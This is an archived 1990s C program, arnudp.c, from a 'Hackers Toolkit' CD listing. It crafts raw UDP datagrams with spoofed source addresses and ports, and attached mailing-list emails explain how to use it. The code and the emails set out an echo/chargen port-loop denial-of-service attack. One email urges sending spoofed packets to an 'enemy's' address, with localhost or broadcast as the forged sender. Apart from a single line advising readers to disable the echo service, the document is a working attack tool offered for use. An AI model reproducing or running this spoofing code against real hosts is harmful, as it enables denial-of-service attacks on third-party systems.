home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Udp / unix / udpdata.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  5KB  |  181 lines

  1.  
  2.  
  3. /*
  4.  
  5. From B.O.S. 2/05/96
  6.  
  7. I noticed someone mentioning the echo port. My advice is to disable the 
  8. echo service completely. It is often used by hackers to hang a computer.
  9.  
  10. Try sending a packet from port 7 your ip to port 7 your ip.
  11.  
  12. The system will bounce the packet back and forth slowing the system 
  13. drastically.
  14.  
  15. A Hacker Program I have seen used to do this is called arnudp.c 
  16.  
  17. */
  18.  
  19. /************************************************************************/
  20. /* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk        */
  21. /* Sends a single udp datagram with the source/destination address/port    */
  22. /* set to whatever you want.  Unfortunately Linux 1.2 and SunOS 4.1    */
  23. /* don't seem to have the IP_HDRINCL option, so the source address will    */
  24. /* be set to the real address.  It does however work ok on SunOS 5.4.    */
  25. /* Should compile fine with just an ANSI compiler (such as gcc) under    */
  26. /* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra    */
  27. /* libraries on the command line:                    */
  28. /*     /usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl        */
  29. /* I'll state the obvious - this needs to be run as root!  Do not use    */
  30. /* this program unless you know what you are doing, as it is possible    */
  31. /* that you could confuse parts of your network    / internet.        */
  32. /* (c) 1995 Arny - I accept no responsiblity for anything this does.    */
  33. /************************************************************************/
  34. /* I used the source of traceroute as an example while writing this.    */
  35. /* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens    */
  36. /* for pointing me in the right direction.                */
  37. /************************************************************************/
  38.  
  39. #include<sys/types.h>
  40. #include<sys/socket.h>
  41. #include<netinet/in_systm.h>
  42. #include<netinet/in.h>
  43. #include<netinet/ip.h>
  44. #include<netinet/udp.h>
  45. #include<errno.h>
  46. #include<string.h>
  47. #include<netdb.h>
  48. #include<arpa/inet.h>
  49. #include<stdio.h>
  50.  
  51. struct sockaddr sa;
  52.  
  53. main(int argc,char **argv)
  54. {
  55. int fd;
  56. int x=1;
  57. struct sockaddr_in *p;
  58. struct hostent *he;
  59. u_char gram[38]=
  60.     {
  61.     0x45,    0x00,    0x00,    0x26,
  62.     0x12,    0x34,    0x00,    0x00,
  63.     0xFF,    0x11,    0,    0,
  64.     0,    0,    0,    0,
  65.     0,    0,    0,    0,
  66.  
  67.     0,    0,    0,    0,
  68.     0x00,    0x12,    0x00,    0x00,
  69.  
  70.     '1','2','3','4','5','6','7','8','9','0'
  71.     };
  72.  
  73. if(argc!=5)
  74.     {
  75.     fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv);
  76.     exit(1);
  77.     };
  78.  
  79. if((he=gethostbyname(argv[1]))==NULL)
  80.     {
  81.     fprintf(stderr,"can't resolve source hostname\n");
  82.     exit(1);
  83.     };
  84. bcopy(*(he->h_addr_list),(gram+12),4);
  85.  
  86. if((he=gethostbyname(argv[3]))==NULL)
  87.     {
  88.     fprintf(stderr,"can't resolve destination hostname\n");
  89.     exit(1);
  90.     };
  91. bcopy(*(he->h_addr_list),(gram+16),4);
  92.  
  93. *(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));
  94. *(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));
  95.  
  96. p=(struct sockaddr_in*)&sa;
  97. p->sin_family=AF_INET;
  98. bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));
  99.  
  100. if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
  101.     {
  102.     perror("socket");
  103.     exit(1);
  104.     };
  105.  
  106. #ifdef IP_HDRINCL
  107. fprintf(stderr,"we have IP_HDRINCL :-)\n\n");
  108. if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
  109.     {
  110.     perror("setsockopt IP_HDRINCL");
  111.     exit(1);
  112.         };
  113. #else
  114. fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
  115. #endif
  116.  
  117. if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
  118.     {
  119.     perror("sendto");
  120.     exit(1);
  121.     };
  122.  
  123. printf("datagram sent without error:");
  124. for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
  125.     {
  126.     if(!(x%4)) putchar('\n');
  127.     printf("%02x",gram[x]);
  128.     };
  129. putchar('\n');
  130.  
  131. }
  132. From route@infonexus.com Wed Feb  7 12:33:42 1996
  133. Return-Path: route
  134. Received: (from route@localhost) by onyx.infonexus.com (8.6.12/8.6.9) id MAA16853 for root; Wed, 7 Feb 1996 12:33:42 -0800
  135. From: Infinity <route@infonexus.com>
  136. Message-Id: <199602072033.MAA16853@onyx.infonexus.com>
  137. Subject: Re: BoS: Re: Echo Vunerebility (fwd)
  138. To: root@infonexus.com (demon)
  139. Date: Wed, 7 Feb 1996 12:33:41 -0800 (PST)
  140. X-Mailer: ELM [version 2.4 PL24]
  141. MIME-Version: 1.0
  142. Content-Type: text/plain; charset=US-ASCII
  143. Content-Transfer-Encoding: 7bit
  144. Content-Length: 1068      
  145. Status: RO
  146.  
  147. Hadmut Danisch braved the dark, cold unknown with:
  148. >From owner-best-of-security@suburbia.net Wed Feb  7 04:39:35 1996
  149. X-Authentication-Warning: suburbia.net: majordom set sender to owner-best-of-security using -f
  150. Date: Wed, 7 Feb 1996 12:42:17 +0100
  151. From: danisch@ira.uka.de (Hadmut Danisch)
  152. Message-Id: <9602071142.AA00605@elysion.eiss.ira.uka.de>
  153. To: best-of-security@suburbia.net
  154. Subject: Re: BoS: Re: Echo Vunerebility
  155. X-Sun-Charset: US-ASCII
  156. Sender: owner-best-of-security@suburbia.net
  157. Errors-to: nobody@mail.uu.net
  158. Precedence: bulk
  159. Reply-To: nobody@mail.uu.net
  160.  
  161. > Try sending a packet from port 7 your ip to port 7 your ip.
  162.  
  163.  
  164. Send a udp packet to your enemy's ip address, for both port
  165. numbers use one of echo/chargen/time , and use either
  166. 127.0.0.1 or broadcast as the From-address.
  167.  
  168. He will have a lot of fun...
  169.  
  170.  
  171. Hadmut Danisch
  172. European Institute for System Security E.I.S.S.
  173.  
  174.  
  175.  
  176. -- 
  177. infiNity .oOo.  Member of the infamous Guild |  spreading information 
  178. route .oOo.  Use strong Cryptography |  like it was going 
  179. daemon9 .oOo.  Finger for info |  out of style
  180.  
  181.